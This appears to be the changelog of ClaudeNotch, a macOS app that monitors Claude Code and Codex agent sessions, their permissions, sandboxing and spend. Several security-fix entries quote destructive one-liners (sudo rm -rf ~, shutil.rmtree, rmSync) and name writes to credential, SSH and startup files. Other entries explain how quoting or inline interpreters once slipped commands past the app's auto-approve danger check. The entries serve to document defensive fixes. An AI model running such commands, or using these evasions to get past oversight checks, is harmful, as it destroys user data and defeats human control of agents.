Claude Code lets a session run twenty subagents at once and make two hundred web searches in its lifetime. Neither limit has an event of its own; the refusal arrives as an ordinary tool result, Claude reads it, carries on without the work it was going to delegate, and says nothing about it in the reply. From the outside the session simply does less, which reads as stuck or as having decided not to bother. The agent badge now turns into a fraction once the cap is reached, and stays that way afterwards if a spawn was actually refused, since the agents that were running have long since finished by the time anyone looks. The web search budget gets the same treatment in its final tenth, where a session is about to lose the ability to look anything up. Raised limits in your settings are read the same way Claude Code reads them, so a raised cap shows as a raised cap.
- 5/5
Compaction has a real ending.
The "compacting context" cue was raised when compaction began and lowered by whatever hook happened to arrive next, which meant it disappeared almost immediately on a busy session and hung around on a quiet one. Claude Code now fires an event when compaction actually finishes, so the cue ends on the thing that ended it, and the summary the session keeps in place of the conversation it just dropped is recorded in the history.
- 1/3
The context bar reads from after a compaction rather than before it.
The meter took the most recent turn's input side as the live occupancy, and the last turn before a compaction is the fullest the window ever gets, so the bar sat in the red immediately after the compaction that had just emptied it, for as long as it took the next turn to arrive. The transcript marks the boundary, and everything above it is gone: the occupancy now resets there and waits for a real reading instead of showing the one number that is certain to be wrong. Cost keeps accumulating across the boundary, since compaction does not refund the turns that led to it.
- 2/3
A session is not shown a badge whose data its Claude Code cannot produce.
The sandbox posture is read from settings keys that only take effect from 2.1.219, so a session on an older build was described by a badge for a fence it was not standing behind, and two sessions side by side can easily be on different builds when one has been left open since last week. The badge now depends on the version that session is actually running, and the row tooltip names what that build cannot report, because an older session with no badge otherwise just looks unsandboxed, which is the same wrong answer in reverse.
- 3/3
Opening a window no longer throws you out of your full-screen Space.
v0.24.0
August 14, 20265 added1 fixed- 1/5
Sessions say whether they are sandboxed.
Claude Code can fence a session in: the filesystem is limited, network egress goes through a proxy that only lets an allowlist through, and credentials can be masked so a sandboxed command reads a sentinel rather than the real secret. Whether a session runs that way is exactly the "what is this agent allowed to do" question the notch exists to answer, and nothing showed it. No hook carries it either, so the app reads it the way the CLI does, from the settings chain for the session's folder, merged with the CLI's own precedence rules. A sandboxed session now carries a badge, green when the fence is whole and amber when something is allowed to run outside it, with the allowed domains, masked credentials and exceptions in the tooltip. It appears on the session row, in the header, and on the permission card, where whether a command is fenced in changes the answer to whether you should allow it.
- 2/5
The notch shows what the sandbox actually blocked.
The badge says a fence exists; this says when the agent walked into it. A blocked host or file path raises a card naming what was refused, goes to the history, and adds to a count that rides on the badge, so a session quietly hitting the fence a dozen times reads as that rather than as a session failing for no visible reason. The format those details arrive in is not a documented contract, so the reader degrades rather than guesses: it names the host or path for the shapes it knows and keeps the raw line verbatim for the rest.
- 3/5
Auto mode's refusals are visible.
Auto mode decides in both directions and the notch only ever showed one of them. An auto-approved action popped a card; an action the classifier blocked showed nothing at all, so a session being refused over and over looked exactly like a session thinking. Denials now get the same card in the other direction, with the reason underneath, the deny sound rather than the allow one, and twice as long on screen, because a refusal can need acting on while a receipt does not. They are counted apart from the denials you made yourself.
- 4/5
Settings changes are announced while sessions are running.
Settings files are where permissions, allow rules and sandboxing live, so an edit to one rewrites what your running agents may do, and nothing said so. A change to your settings, the project's, the project-local ones or a managed policy now raises a card naming which of them changed, and refreshes the sandbox badge immediately rather than on its next scheduled read. It never blocks: the hook behind it can veto a settings change, and a monitor should not be able to stop you editing your own settings. It also stays quiet about the app's own writes, and records skills changes without announcing them, since those change what Claude knows rather than what it may do.
- 5/5
Every running session appears, not only the ones that talk to us.
The notch knew a session only once it fired a hook, so a session started before the app launched, or one in a project whose settings never got the hooks, did not exist as far as the list was concerned. It now reads Claude Code's own registry of running sessions, which closes that gap and one at the other end: a session that exits leaves the registry, so its row goes at once instead of waiting out the silence that used to be the only evidence it had died. A session you are merely thinking in is no longer mistaken for a dead one either. The CLI version each session runs is in its tooltip, which is the answer to why one session shows something another does not.
- 1/1
The allow-rule export no longer writes permission forms Claude Code warns about.
Claude Code 2.1.210 deprecated Write(path), NotebookEdit(path) and Glob(path) rules and prints a startup warning for every one it finds in settings.json. Clicking "always allow" on a file and then copying the rules across, exactly as this app suggests, left you with a settings file that nagged on every launch, for rules the app told you to add. Those rules now export as Edit or Read, which is the same permission spelled the current way rather than an approximation. Tool-wide rules are left alone, since rewriting one would widen a rule you never widened, and two rules that now collapse onto one permission are written once.
v0.23.1
August 12, 20261 fixed- 1/1
The /add-dir chip appears on the session you are actually watching.
Granting a session a second directory is worth seeing, which is the whole point of the chip, but it only ever drew in the list of secondary sessions, and that list deliberately leaves the primary session out because the header draws that one instead. The header carried no chip. So for anyone running a single session, which is the ordinary case, /add-dir showed nothing in the notch at all, and the feature was visible only to people running two at once. Both now draw the same chip, sized to suit where it lands.
v0.23.0
August 11, 20264 fixed2 added1 changed- 1/4
Compaction is no longer reported as a session failure.
When the context fills up, Claude Code summarises the conversation and carries on by itself, but the turn that overflowed dies with an API error first, and the notch took that at face value: a red card saying the session had stopped, the row marked errored, a banner in Notification Center, while the terminal two inches away said "Compacting conversation, 21%". It now says what is actually happening, and asks nothing of you, because nothing is being asked of you.
- 2/4
Failures explain themselves.
Claude Code frequently sends the reason code back as the message, so a card whose whole job was to tell you what went wrong read "invalid_request" at you instead, which is the app leaking its own internals. A bare code is now treated as no message at all and each reason gets a sentence someone can act on. A real message from the CLI is still preferred, since it is more specific than anything guessable.
- 3/4
The credit budget knows what your cap is.
Claude Code writes the cap as a container holding either a money amount or a credit amount, not as a plain amount, so the code only ever looked in the empty half and the bar was drawing against no ceiling at all. It now also shows the severity Claude Code itself assigns rather than inferring one from the percentage, since Claude Code knows things about your account that a percentage does not carry.
- 4/4
Starting a session from Settings no longer opens the terminal behind the Settings window.
- 1/2
Directories granted with /add-dir are recorded.
A session's folder is what you agreed it could touch, and /add-dir widens that afterwards, so the row went on showing only the folder and quietly understated the session's reach for the rest of its life. Sessions now carry a chip for the extra directories, with the paths on hover, and the history distinguishes you typing /add-dir from the SDK registering its own repo root. The hook fires after the fact and cannot block it, so this is a record rather than a gate.
- 2/2
Sessions follow Claude when it changes directory.
Most of what the notch shows survives a cd on its own, because every hook carries the folder it fired in, but a session with no id is filed under its folder, so the key it lives at went stale and the next hook opened a second row for the same session. It now moves, with its history intact, and re-reads the branch rather than carrying a stale one into what may be a different repo.
- 1/1
A relative path into a sensitive directory is flagged like an absolute one.
Writing to .ssh/config and to ~/.ssh/config are the same act, and only one of them was being caught.
v0.22.0
August 11, 20262 added1 changed1 fixed- 1/2
Hand the install to the agent you already have open.
There is a document written for a coding agent rather than for a reader, at rawsun007.github.io/claude-notch/AGENTS.md, and a button on the site that copies a one-line pointer at it. The agent checks the machine, installs through Homebrew, wires the hooks and checks the port actually answers, and then stops: Accessibility and Input Monitoring are macOS permissions only a person can grant, so it says so and hands back rather than pretending otherwise. It is also told not to install by piping a script into a shell and not to switch on Auto-Approve to make its own job smoother, which would be a strange thing for this app in particular to teach.
- 2/2
Every clip has its own page, at /videos.
On the landing page they are illustration: muted, looping, sized to sit beside text. That is the wrong thing for someone who actually wants to watch one, so each now opens full size with real controls, no autoplay, and a note on what it is showing.
- 1/1
The landing page stopped being a wall of identical cards.
Three sections in a row used the same shape, and eleven features shouting at one volume is the same as none of them being said. The permission card keeps a panel, because that is the product; the rest are one line each in plain type. The terminal argument went from six cards to three points, since the diff and the spend were consequences of the context switch rather than separate arguments. The honest note about when not to install this stays, as an aside rather than a card pretending to be another reason to.
- 1/1
A long command no longer runs underneath the Copy badge on it.
The badge was a translucent tint over a block that scrolls sideways, so the tap name read as claudenot6hpy where the two overlapped.
v0.21.0
August 10, 20261 fixed3 added1 changed- 1/1
Your settings survive an update.
Writes to the settings file were debounced by half a second and the timer restarted on every change, so a busy session never wrote at all: hooks arrive faster than that, and anything you switched during the burst stayed in memory. Nothing flushed on the way out either, and the updater quits the app to replace it, so whatever was still pending died with the process and the new version came up with your old toggles. Both exits now write first, including the plain kill the installer uses, and a pending change reaches disk within five seconds however long the burst runs. Separately, a failed save was silent and permanent: JSON cannot represent a NaN, so one non-finite cost or percentage would throw and take every setting with it, on that write and every later one, with no symptom except settings quietly forgetting themselves.
- 1/3
Codex has budgets of its own, counted in tokens.
The dollar caps could never touch it: pricing a Codex session would mean inventing gpt rates nobody publishes, so its cost reads as zero and every cap passed it straight through while looking like protection. Tokens are the part Codex does report, exactly, on every turn, so that is what gets capped, per session and per day, warning and then stopping exactly as the dollar caps do.
- 2/3
Codex usage limits on the Plan page, and an all-time token total on the Usage page.
Codex sends its rate limits on every turn and nothing read them, so the first sign of running out was Codex refusing. The windows are named from the length Codex reports rather than a fixed label, since plans do not share a shape: a Go plan reports a single 30-day window, others a 5-hour and a weekly.
- 3/3
API-key billing on the Plan page.
Signing in with ANTHROPIC_API_KEY instead of a Claude subscription used to leave the page blank forever, since Claude Code never reports a rate-limit percentage for that kind of session, and it just said come back later to nobody's benefit. It now says plainly that billing is per-token, shows a masked version of the key, and can check with Anthropic on demand whether the key is actually accepted.
- 1/1
Setup no longer reopens on every launch for people who only run Codex.
It asked whether Claude Code's hooks were installed, which they are not on a Codex-only Mac, so the window came back every time with no way to make it stop. Codex's own rollouts are also read once per tool call rather than twice, in a directory that only grows.
v0.20.1
August 9, 20261 added- 1/1
API-key billing on the Plan page.
Signing in with ANTHROPIC_API_KEY instead of a Claude subscription used to leave the Plan page blank forever, since Claude Code never reports a rate-limit percentage for that kind of session, and the page just said "come back later" to nobody's benefit. It now says plainly that billing is per-token, shows a masked version of the key, and can check with Anthropic on demand whether the key is actually accepted. The menu bar's plan readout does the same, showing "API key" instead of nothing.
v0.20.0
August 8, 20261 added1 changed- 1/1
Update Now.
Updating used to mean reading a command off the About page, copying it, finding a terminal and pasting it in, and the download counts say exactly how well that worked: the two releases before this one were security fixes and they were downloaded zero times and once. Fixes that nobody installs are not fixes. The button appears in all three places the update prompt already appeared, the card in the notch, the menu-bar alert and Settings > About, and it does the whole job: downloads the new version, checks it against the checksum published with the release, quits, replaces and relaunches. The card in the notch is the one that matters, because most people never open the menu bar menu, and until now it said "download it from the menu bar icon" next to a button that offered to focus your editor, which is not an update. Homebrew installs are still sent to Homebrew rather than fought with, and anyone who would rather run the command themselves still can.
- 1/1
The build is ready to be notarized the day there is an Apple Developer account to do it with.
As things stand macOS blocks the first launch and you have to allow it by hand, which is a poor introduction to a tool whose entire job is deciding what an AI is allowed to run on your Mac, and it is the likeliest reason far more people look at this than install it. The machinery is now in place: the app is signed with the hardened runtime, the disk image is signed, submitted and stapled so a first launch works with no network, and the build asks Gatekeeper whether it actually accepts the result and refuses to finish if it does not, because a build that is stapled but still rejected is the one failure that would otherwise ship quietly to everybody. The instructions inside the disk image are written to match, since handing someone the steps for bypassing Gatekeeper when they do not need them teaches them to bypass Gatekeeper for anything calling itself ClaudeNotch. Until the account exists, nothing about the download changes.
v0.19.0
August 8, 20262 added1 fixed1 changed- 1/2
Strict mode, in Settings > Privacy.
The destructive-command check works by recognising patterns, and a pattern list is never finished: something novel enough is not flagged, and an unflagged command is exactly what Auto-Approve and a tool-wide rule are allowed to wave through. Strict mode asks the other question. Not "is this known to be bad" but "is this known to be harmless", and only a yes gets approved on your behalf. The rule is one sentence: a safe command looks at things and changes nothing. Building, testing, running a script and anything that reaches the network all wait for a click, because they are ordinary and mostly fine and they all execute code somebody else wrote. It narrows the blanket approvals only: a rule you made for one exact command is a decision you made about that command, so it still applies. The list is stricter than it sounds, since every entry has to be read-only with any flags at all, which is why git branch is not on it (-D deletes), nor git config (it writes), nor git stash (it moves your working tree), nor gh pr (create publishes). It blocks nothing and runs nothing; it decides whether a decision gets made for you or by you. Off by default, because it trades clicks for certainty and that is your call to make.
- 2/2
The app notices when a hook script is no longer the one it shipped.
Claude Code runs the scripts in ~/.claudenotch/bin on every event, dozens of times an hour, as you. The last release made that directory private to your account, which stops anyone else writing into it, but nothing noticed if something already had, or if an interrupted update left a forwarder half-replaced. At launch the installed copies are compared byte for byte against the ones inside the app, and anything that differs is named, with the option to put the shipped copy back. It is drift detection rather than authentication, deliberately: anyone who can write there could rewrite the app too, so the only claim being made is that these are not the files this version ships. It asks rather than repairing silently, because overwriting a file you edited on purpose without saying so is its own kind of rude, and if you did not edit it then it is the thing you most need to hear about.
- 1/1
A credential in a command no longer follows it everywhere the command goes.
Agents put secrets in commands all the time: an export of an API key, a bearer token in a curl header, a password inside a database URL. Nothing stripped it, so that one string went onto the card, which sits on screen through every screen share and recording; was read out by VoiceOver; went into a notification that Notification Center files and the lock screen may render, which is the one that can display a secret on a Mac nobody is sitting at; was written into the app's own state file where it stayed for five hundred entries; and went into the CSV export people paste into tickets and issues. None of those needed it. Vendor formats that are unmistakable on sight are removed whole, and where the secret is a value the name in front of it is kept, so a command still reads as "--token [redacted]" and you can still judge what you are approving, which is the entire point of the card. The command itself is untouched, so a rule you saved for one exact command still matches only that command and not every other command shaped like it.
- 1/1
The whole interface follows the language you picked, not just the permission card.
What is left in English is punctuation and arithmetic: a separator dot, +12 and -4, 3 of 7, 42%, a PR number. Translating those would be translating a sum. Counts now pick between two translated forms rather than adding an s to the end, since that is a rule about English and not a rule about counting.
v0.18.2
August 7, 20263 fixed1 added- 1/3
A one-liner handed to Python or Node is checked for what it destroys.
The previous release taught the danger check to look inside bash -c, and stopped there. python3 -c "import shutil; shutil.rmtree(...)" and node -e "require('fs').rmSync(...)" run arbitrary code exactly the same way, and neither of them names a shell command that anything was looking for, so both came back with nothing to warn about and ran under auto-approve with no card. The inline program is now pulled out and read twice: once for anything it invokes by name, and once for what it deletes in its own language. Those patterns match the shape of the call rather than a module name, because require('fs').rmSync contains no literal fs. anywhere in it. Shelling out from a one-liner is flagged on its own without reading what it runs, since the command is a string inside a program and the quote handling that keeps commit messages from warning erases it. Harmless one-liners stay silent.
- 2/3
Two ways of writing a request to the notch that the parser handled too generously.
A second Content-Length header took the last of the two values, and one that was not a number at all was read as zero, which silently discards a body the sender believed it had declared. Both are refused now; nothing that legitimately talks to the app sends either. The parser also has ten thousand random, garbage and bit-flipped buffers driven through it on every build, checking the properties that have to hold for any input: the body never exceeds the buffer it came from, it is always bytes that were actually sent, and a request still arriving cannot change meaning once the rest of it lands.
- 3/3
Reading a very large session transcript, or a repository carrying a strange .git, no longer pulls the whole file into memory.
The cost meter already refused a transcript past a size limit, but the two functions beside it did not, and one of those runs across every transcript touched in the last four weeks twice a minute. Git branch reading had the same shape: the two files it reads are pointers of a few dozen bytes in any real checkout, and it read them whole, on the branch refresh that runs for every session in the repository. Neither is a way into anything; both are ways to make the app eat memory it has no reason to.
- 1/1
A security policy, with a private way to report a vulnerability instead of a public issue.
The app decides which commands an AI agent may run on your Mac, which makes it a security tool whether or not it is described as one, and until now anyone who found a hole in that had nowhere to send it. SECURITY.md states what the app treats as trusted and what it does not, names the handful of functions where each boundary is actually enforced, and gives response times. It is also candid about the limits: the destructive-command check recognises patterns and a pattern list is never finished, so it is a good catch and not a guarantee; a tool-wide allow rule approves every future call of that tool; the build is signed but not notarized; and any process already running as you can post to the loopback port, which buys an attacker nothing but does mean a card is not proof of where it came from.
v0.18.1
August 7, 20264 fixed1 changed- 1/4
Quoting a command no longer hides it from the danger check.
The scan blanks quoted strings first, so that a commit message mentioning rm -rf does not set off every rule in the list; the side effect was that bash -c 'sudo rm -rf ~' was read as bash -c '' and came back with nothing to warn about. That check is the single gate on auto-approve, on always-allow rules, on approving a whole queue at once, and on the hold-to-confirm, so quoting a destructive command was enough to have it run with no card at all. Where a quoted string is a script rather than free text, the argument to sh -c, an eval, or the remote command of an ssh, it is now scanned as a script, two levels deep. The extraction stays narrow on purpose: scanning every quoted segment would put a commit message about dropping an rm -rf helper back on the warning path, which is the whole reason the blanking exists.
- 2/4
Writing to your credentials, your shell startup files, or the agent's own settings is treated as dangerous.
Only system directories were, which meant the files that actually take a machine over went through silently: ~/.ssh/authorized_keys, a plist in ~/Library/LaunchAgents that runs at every login, a repo's .git/hooks/pre-commit that git runs on the next commit, ~/.zshrc, ~/.aws/credentials, and ~/.claude/settings.json, where one approved write turns into blanket approval for everything after it. All of those now hold a card with a hold-to-confirm, and the path is normalised first so a traversal cannot launder one into a safe-looking name. Shell commands get the same list, since a redirect or a launchctl load reaches those files just as well as an edit does.
- 3/4
A web page you happen to have open can no longer put a card in your notch.
The server rejects requests a browser marks as cross-origin, but a browser marks none of its image, script or stylesheet loads that way, and those carry a genuinely local Host header, so a single image tag pointing at the loopback port walked past the guard and queued a blocking permission card that held the notch for the full five-minute decision window. Every hook sends a POST, and a browser cannot make an unmarked one, so only POST is accepted now.
- 4/4
The hook log has moved out of /tmp, to ~/.claudenotch/logs/hook.log.
Its name there was fixed and /tmp is writable by every account on the machine, so another user could create that path as a link to a file of yours and have every hook append through it, and could read your working directories, tool names and session ids either way. macOS does not refuse to follow such a link the way Linux can be told to. The new location is yours alone, the file is created unreadable to anyone else before a single byte lands, a link found in its place is refused rather than followed, and it rotates at half a megabyte instead of growing for the life of the install. The app's own diagnostic log was moved out of /tmp for this reason a while ago and the shell forwarders were missed.
- 1/1
~/.claudenotch/bin is created private to you.
Claude Code runs the hook scripts in there on every event, and the status line evaluates the sidecar holding your previous status-line command on every redraw, so anyone able to write into that folder could run code as you. It was being created at whatever the system default happened to be. The folder, its parent, the scripts and the sidecar are now owner-only, and the mode is reapplied on every install so a folder created by an older version is tightened rather than left as it was.
v0.18.0
August 6, 20263 fixed2 changed- 1/3
Codex cards say what Codex is actually doing.
A web search read "webrun" with "Running" underneath it and no sign of what was being searched for, because Codex nests the query inside an array of action objects rather than passing it as a string; a patch named no file, because the whole patch envelope arrives under the key Claude Code uses for a plain shell command; and a shell call showed nothing, because its command is an argv array. Searches now name the query, patches name the file they touch, shell calls print the command rather than the bash -lc wrapper around it, plans show the step in progress, and the card is headed "Search the web" or "Edit file" rather than the raw tool name. The danger scan reads those argv arrays too, so a sudo rm -rf buried in one is flagged again instead of passing as an empty command.
- 2/3
Dragging a folder onto the notch is smooth again.
The drop handler fires on every mouse move of the drag and was writing both drop flags each time whether or not they had changed; an unchanged value still publishes, so the whole notch re-rendered dozens of times a second and the drag felt like it was catching. The flags are written only when they change.
- 3/3
The drop's "which agent?" card no longer offers a free-text answer.
Its two options are the two agents, and anything typed there was silently a cancel. The card is no longer half empty either: every option was budgeted for a wrapped description whether it had one or not, which left a band of dead space above Cancel and Send.
- 1/2
What's new is grouped by kind, in the app and on this page.
One flat list made a new feature and a bug fix look identical, and the About page had to say "Two fixes:" in prose to convey what a heading conveys. Each group now carries its own heading, icon and colour in both places.
- 2/2
This changelog is readable at a glance.
Each entry is its own card, numbered within its group, with its kind's colour down the left edge, so a long entry has a visible end and you can count what a release contains. Each release states its own totals, and a version rail down the side makes forty of them navigable.
v0.17.0
August 5, 20264 added2 fixed- 1/4
The always-allow rules have a page of their own, at Settings > Rules.
They decide what runs without asking you, which makes them the app's security policy, and until now they could only be created by clicking a button on a card and only be seen through a menu-bar submenu nothing pointed at. The page shows the whole list, flags tool-wide rules in amber because those approve every future call of that tool, prints the command as the command rather than as the escaped pattern it is stored as, and lets you delete a row or add one by hand. It also hands the list to Claude Code, which keeps its own allowlist in ~/.claude/settings.json and had no idea about ours: copy the fragment, or merge it in with a backup taken first. A rule Claude Code cannot express is left out and counted rather than approximated into something broader than what you approved.
- 2/4
The Budget page says where the spending is heading, not just where it has been.
Today's finishing spend, worked out from the rate since midnight, with the clock time it would cross the daily cap; and the month so far, the mean across completed days, and what the month comes to if the rest of it looks like those. Both stay quiet when they would be wrong: today is left out of the monthly average, because at 9am it is a fraction of a day and would drag every projection down, and the day's own projection waits two hours in, because two pounds by 00:20 extrapolates to a fortune. The forecast also speaks once a day as a card while the cap is still ahead of you, and says nothing once the 80% and 100% alerts have already fired.
- 3/4
The notch can be driven by anything else on your Mac.
A claudenotch:// URL covers the verbs the menu bar already offers, open, settings, history, standup, compose and resume, so a Shortcut, a Raycast script, a Stream Deck button or a link in a note can reach it. An AppleScript dictionary adds the same six verbs plus the state worth reading back: today's spend, session count, working count, pending count, current project and current activity, which reaches Shortcuts through its Run AppleScript action and every other automation tool directly. A URL is untrusted input, so the parser is narrow: only those verbs are recognised, and a project arrives as a name and never as a path, resolved against sessions already on disk, so nothing can aim the agent at a directory of its own choosing.
- 4/4
The rest of the app speaks the language you picked.
The permission card was the only part wired to the string table, so choosing Japanese used to get you a mix of the two. The idle pill's status word, the badges, the session rows, the status bar tooltips, the whole history drawer, every menu-bar row and the alerts it puts up, and the entire first-run setup window now follow the setting, with word order left to the translation rather than assumed from English.
- 1/2
Installing over an existing copy no longer deletes the Codex forwarder.
The installer cleared every script in ~/.claudenotch/bin before copying the shipped ones back, which took out the one the app writes itself when Codex integration is on, while ~/.codex/hooks.json still pointed at it: every Codex event died with exit code 127. It now deletes only the files it is about to replace, by name.
- 2/2
A finished Codex turn no longer claims Claude did it.
The completed card fell back to a hardcoded title; it reads the name from the session's own model now, and honours the custom notch title when you have set one, so the card and the notification agree with your settings.
v0.16.0
August 4, 20262 fixed3 added- 1/2
The task progress meter works again.
A session with a live task list showed no progress at all: a task's id arrives buried in prose in the tool's reply, wrapped in a shape the app was not looking in, so no task was ever counted however many were created. It also no longer starts the list over each time you finish one, which used to reset the meter to zero of one after every single task.
- 2/2
Far less CPU while Claude is working.
After every prompt the transcript is watched for five minutes so the notch can show the reply, and the app was reading and parsing the last half megabyte of it twice a second for the whole window, almost always to discover nothing had changed. A transcript only grows, so its size answers that for the price of a stat: measured on a 10 MB transcript with polling running, 7.6% CPU became 0.8%.
- 1/3
A card you keep waving through now says so.
After the third time the same command is approved by hand, the card reads "allowed 3 times" beside Always Allow, so the rule is one click away at the moment it is obvious rather than a piece of admin for later. Never for a dangerous command, which is exactly the one that should keep asking, and never for a rule that already exists.
- 2/3
The completion chime waits for you.
A task finishing while nobody is at the keyboard no longer chimes to an empty room: the cards queue as they always did, and one sound plays when you come back, with VoiceOver hearing how many finished while you were gone.
- 3/3
Two cards VoiceOver could not hear now speak.
An auto-approved call, which is both the thing most worth auditing and the one that happens without you, and the composer, which is the one card that takes your keyboard and so needs to say where your typing is going.
v0.15.1
August 3, 20261 fixed3 changed- 1/1
The pet animations are called the same thing wherever you look.
The menu bar and the settings page each carried their own copy of the list and had drifted apart, so one said Look Around and Hang Off Left Corner while the other said the same things in sentence case. There is one list now, and the menu bar follows the sentence case the rest of the app uses.
- 1/3
Housekeeping under the surface, with nothing new to use.
The sound preferences moved into a single type that owns both the settings and the rules for reading them, so a preference can no longer be changed without being saved, and the rules can be tested without starting the app.
- 2/3
The settings window was one 2,500-line file holding all fourteen pages; it is one file per page now, the way the app state is already split.
The pages never talked to each other, so they had no reason to share a file.
- 3/3
Nothing you can see or click has changed apart from those labels.
On 0.15.0 there is no reason to hurry.
v0.15.0
August 3, 20262 added3 changed- 1/2
Every sound the app makes is its own setting, on the Sounds page.
The tick that confirms your own keypress, the pop when you deny something, the chime when a task finishes, the noise the composer makes when it types into your terminal: one row each, and every row offers None. Until now the only lever was Mute all sounds, which also took away the prompt you actually wanted to hear.
- 2/2
The Pet page lists what the mascot can do, split in two.
Everyday is the pet being itself: peeking, strolling, napping, the backflip after too many boops. Guest appearances is the pet dressed as something else, and each costume carries the month it arrived, because a joke pinned to a particular month should say which one. The Spider-Pet is dated July 2026.
- 1/3
Silence is stored as a choice rather than as an absence, so an event you muted stays muted across a relaunch instead of quietly coming back.
The picker's preview button turns into a crossed-out speaker on those rows, so a quiet row never reads as a broken one.
- 2/3
Nothing changes for anyone who does not open the Sounds page.
Every event keeps the sound it always had, and the permission and question prompts still have no sound of their own, so changing the alert sound still changes them.
- 3/3
The pet's animations are listed the same way everywhere: the Pet page, the menu bar's demo submenu and the developer list all draw from the same two collections, so none of them can drift out of step with the others.
v0.14.0
August 2, 20261 fixed2 changed- 1/1
ClaudeNotch runs on Intel Macs.
Every build before this one carried a single Apple Silicon slice, so Homebrew installed it on an Intel Mac without complaint and the app then refused to open, which reads as a broken app rather than the wrong machine. The disk image is universal now, arm64 and x86_64 in one bundle.
- 1/2
The build cannot ship half of that again.
It compiles both architectures, joins them, and then checks the result actually carries both slices, failing rather than producing an app that only runs on the machine that built it.
- 2/2
Nothing else changed.
On Apple Silicon this release behaves exactly like the last one, and the only reason to take it is to stay current.
v0.13.0
August 1, 20264 added1 changed- 1/4
A Plan page, under Alerts & Cost.
Which subscription this Mac is signed into, every limit that plan has rather than the two the status line reports, and what usage credits have cost. A Max plan meters Opus separately, and that window gets its own row and its own bar. The account it belongs to is named on the page, because people sign out of one login and into another and the limits below belong to whichever is current.
- 2/4
Your plan and its tightest limit can sit in the menu bar next to the bell, as Pro, 5H 91%.
Whichever limit is closest to stopping you, since that is the only one worth the width. Off by default: it names your plan, and not everyone wants that on screen while sharing.
- 3/4
A usage-credits slot for the notch status bar, showing what credits have actually cost this period as money rather than a percentage.
It only appears while credits are on, so it never takes one of the two slots to read $0.00.
- 4/4
A card the first time credits pick up a session.
Credits are the moment money starts and nothing announced it before: a session simply kept going where it would have stopped. Once, not once per refresh.
- 1/1
All of it is read from the config Claude Code already keeps on this Mac.
Nothing is requested from Anthropic, and switching credits on, capping the spend or buying more stays on Anthropic's site under your own login, where it belongs. The page links straight to it.
v0.12.0
July 31, 20262 added2 fixed1 changed- 1/2
Every language is complete.
The nine translations covered the short labels but fell back to English for the explanation under each toggle, which is the part that tells you what the toggle does, so picking a language changed a third of the window. All 179 strings are translated now, in Chinese, Spanish, Hindi, Portuguese, Japanese, German, French, Korean and Russian.
- 2/2
The two hooks that can hold up a session, the ones Claude Code waits on before it may run a tool, have tests for the first time: 57 of them, covering the decision paths and every failure, including a server that accepts the connection and then never answers.
- 1/2
A permission card no longer appears for a request the app could not read.
When a payload arrived malformed, the card was drawn with no tool name and no command on it, and whatever you tapped came back to Claude Code as a decision about a tool you could not see. For plan approvals that meant approving a plan unseen. Both hooks now hand the prompt back to the terminal instead.
- 2/2
The updater no longer walks past its own Homebrew guard.
The check it used to decide whether Applications held a cask-installed copy failed when the cask name was ambiguous across taps, and it went ahead and replaced the app by hand.
- 1/1
The demos in the readme are cut from the original recordings rather than converted from video, so the command inside a permission card is legible, which is the thing the demo exists to show.
v0.11.0
July 31, 20263 added- 1/3
One command updates the app.
Homebrew users have always had brew upgrade; everyone who installed from the disk image had to download it again and drag it over the running copy by hand, every release. Run ~/.claudenotch/bin/claudenotch-update.sh and it fetches the new version, checks it against the checksum published in the Homebrew tap, quits the running copy, replaces it and relaunches. Pass --check to see what is available without changing anything.
- 2/3
It refuses to fight Homebrew.
If the copy in Applications came from a cask, it says so and stops, because replacing it by hand would leave Homebrew believing the old version is still installed and put it back on the next upgrade.
- 3/3
The command ships inside the app, and setup copies it next to the hook scripts, so it is on disk without cloning anything.
v0.10.3
July 30, 20261 added- 1/1
The settings window shows which version you are running, beside the page title, and turns it into a button when a newer release is out.
Answering "am I up to date" used to mean going to the About page to look. It reads the check that already runs daily, so nothing extra is polled.
v0.10.2
July 28, 20261 added- 1/1
Up and down move between sections in the settings window, from the moment it opens.
The sidebar could always be driven by the keyboard, but only after clicking a row first, which is not something anyone does. Movement stops at the ends rather than wrapping around, and typing in the search box is unaffected.
v0.10.1
July 27, 20262 changed5 fixed- 1/2
Checking whether Claude did what it said it did is now off by default, under Settings > Session.
It is an opinion about your work delivered on a card you did not ask for it on, so it should be something you switch on, not something you switch off.
- 2/2
It is also much quieter when it is on.
It used to say "N files changed, no tests run" on almost every finished task, which describes what a normal turn looks like, and a card that appears every time is one you stop reading. It now says nothing on an ordinary turn and speaks only when a claimed change was never made, when the tests are said to pass but none ran, or when a change was made and the tests back it up.
- 1/5
The notch shows the model version again.
It read a fixed two-part number out of the model id, so claude-opus-4-6 gave 4.6 but claude-opus-5 gave nothing and rendered as a bare Opus. Versions are now read as whatever digit groups the id carries, so a later 5.1 or 5.2 works without anyone touching it again, and a trailing release date is not mistaken for another version component.
- 2/5
The model name and version are one label rather than two.
They were separate views with a gap between them and the version dimmer, so the row read as Opus, then a stat that happened to be 5.
- 3/5
Quoting the app's own wording back at it, in a commit message or a note about testing, was read as a claim and could put a warning on a turn that had claimed nothing.
Quoted text counts as reporting, not asserting.
- 4/5
A project's own test script now counts as a test run.
Only package-manager runners were recognised, so a repo that tests through ./run-tests.sh looked like it never tested anything.
- 5/5
The what's new card no longer truncates mid-word: its text is one line, and the last release wrote more of it than would fit.
v0.10.0
July 27, 20264 added4 fixed- 1/4
ClaudeNotch speaks nine languages: Simplified Chinese, Spanish, Hindi, Portuguese, Japanese, German, French, Korean and Russian.
Pick one in Settings > General > Language and it applies straight away, no restart. The notch cards and most of the settings window are translated; some of the longer explanations are still English and fall back to it.
- 2/4
Finished tasks now say whether Claude did what it said it did.
If the closing message claims a change the turn never made, or says the tests pass when no test ran, the card says so. It stays quiet the rest of the time, which is most of the time: a verifier that cries wolf is worse than none.
- 3/4
The usage meter says how long you have, not just where you are.
Hover a plan-limit bar and it projects when the cap arrives at the rate you are actually spending. It says nothing when the window resets first, when the answer is more than 45 minutes away, or when the readings are too close together to trust.
- 4/4
Moving over from Vibe Notch takes one command.
tools/migrate-from-vibe-notch.sh removes its hooks and installs these, leaving hooks that belong to other tools alone, and backs everything up first. MIGRATING.md maps its open issues to what works here and, just as plainly, what still does not.
- 1/4
The settings sidebar kept the previous language after switching.
Its list rows are identified by their English names, which never change, so the list reused the labels it had already built while the rest of the window updated.
- 2/4
Quoting the app's own wording back at it, in a commit message or a note about testing, was read as a claim and could produce a warning on a turn that had claimed nothing.
Quoted text is now treated as reporting rather than asserting.
- 3/4
A project's own test script counts as a test run.
Only package-manager runners were recognised, so a repo that tests through ./run-tests.sh looked like it never tested anything.
- 4/4
Em dashes removed from the notch cards, menu bar, error messages and danger warnings.
v0.9.0
